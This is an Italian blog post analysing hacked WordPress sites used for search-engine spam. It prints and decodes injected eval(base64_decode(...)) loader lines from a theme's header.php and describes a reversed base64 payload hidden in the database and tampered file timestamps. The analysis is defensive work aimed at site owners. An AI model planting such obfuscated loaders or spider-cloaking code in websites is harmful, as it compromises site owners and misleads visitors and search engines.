Spam con Wordpress: sempre più sofisticato

Continua la serie con l’indagine su vari blog compromessi, le puntate precedenti sono:

Ho ancora altri due siti da analizzare. Quello che è ormai chiaro è l’estensione dell’infezione, siamo a centinaia di siti sicuramente colpiti. La notizia buona, si fa per dire, è che la maggior parte dei blog violati sono abbandonati a se stessi da mesi o anni. Ma è una buona notizia a metà.

Fino ad ora chi ha violato questi siti si è limitato, se di limite si può parlare, ad usarli per fare pubblicità a farmacie online, suonerie per cellulari, società di rifinanziamento e simili. Insomma, roba solita dello spam. Nessuno vieta però di pensare ad altri usi, molto meno “amichevoli” sia verso il proprietario del sito che verso gli eventuali visitatori.

E le prime avvisaglie non tardano ad arrivare. Il codice usato è in continua evoluzione ed in decine di varianti diverse, come differente è il tipo di attacco. Uno dei siti analizzati non ha nessuna modifica ai file di Wordpress, ma il proprietario ha installato un tema e lo ha personalizzato. Nel file header.php l’attaccante è riuscito ad infilare queste due righe di codice:


eval(base64_decode('JGZsbj0nd3AtY29udGVudC90aGVtZXMvdGlnYS9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRmbG4pKXtpbmNsdWRlX29uY2UoJGZsbik7fQ=='));
...
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSl7ZWNobyBnbWwoKTt9'));

con il solito schema di offuscamento del codice. Il codice PHP reale è:


$fln='wp-content/themes/tiga/js.php';if(file_exists($fln)){include_once($fln);}
...
if(function_exists('gml')){echo gml();}

Lo scopo è sempre lo stesso: se esiste un certo file lo include, e poco dopo chiama una funzione definita nel file incluso. Il lavoro della funzione è quello di controllare lo user agent di chiunque visita il sito e se risulta lo spider di un motore di ricerca infarcisce la pagina di spam link.

In un caso ho potuto guardare anche dentro il database del blog compromesso, e c’è una sorpresa anche lì. Uno dei record della tabella wp_options, ha come nome wordpress_options. Questa specifica opzione ha assegnato un valore di oltre 16kbyte, che inizia così:

;))"=szJ14iMnASPg4

e finisce così:

Iw1Gdi0DdjFGJ"(edoced_46esab(lave

Privo di senso, a prima vista. A colpo d’occhio, i 16kbyte di caratteri sembrano una classica codifica base64, ma passati così come sono al decoder restituiscono un errore. La parte terminale è un indizio importante: leggendola al contrario è:

eval(base64_decode("....

Un breve script shell, invertita la stringa viene restituito un codice PHP esattamente identico a quello del file incluso in header.php del tema.

L’attaccante, in questo caso specifico, ha cambiato la data di tutti i file del sito sul server ad una data e ora unica, certamente non corrispondente a nessuna data utile. Quindi niente linea temporale: non possiamo sapere facilmente quali file siano stati modificati e quando, semplicemente guardando la data. Inoltre non abbiamo un momento preciso in cui andare a guardare nei log del web server.

Una curiosità: in fondo a questo file incluso viene ridefinita la variabile globale $wp_version che contiene la versione ufficiale di Wordpress installata. Il valore assegnato è 2.5. Se magicamente vi trovate il blog aggiornato a Wordpress 2.5 e non ricordate di averlo fatto è molto probabile che il blog non vi appartenga più.

Se ti piace quello che scrivo registrati al feed RSS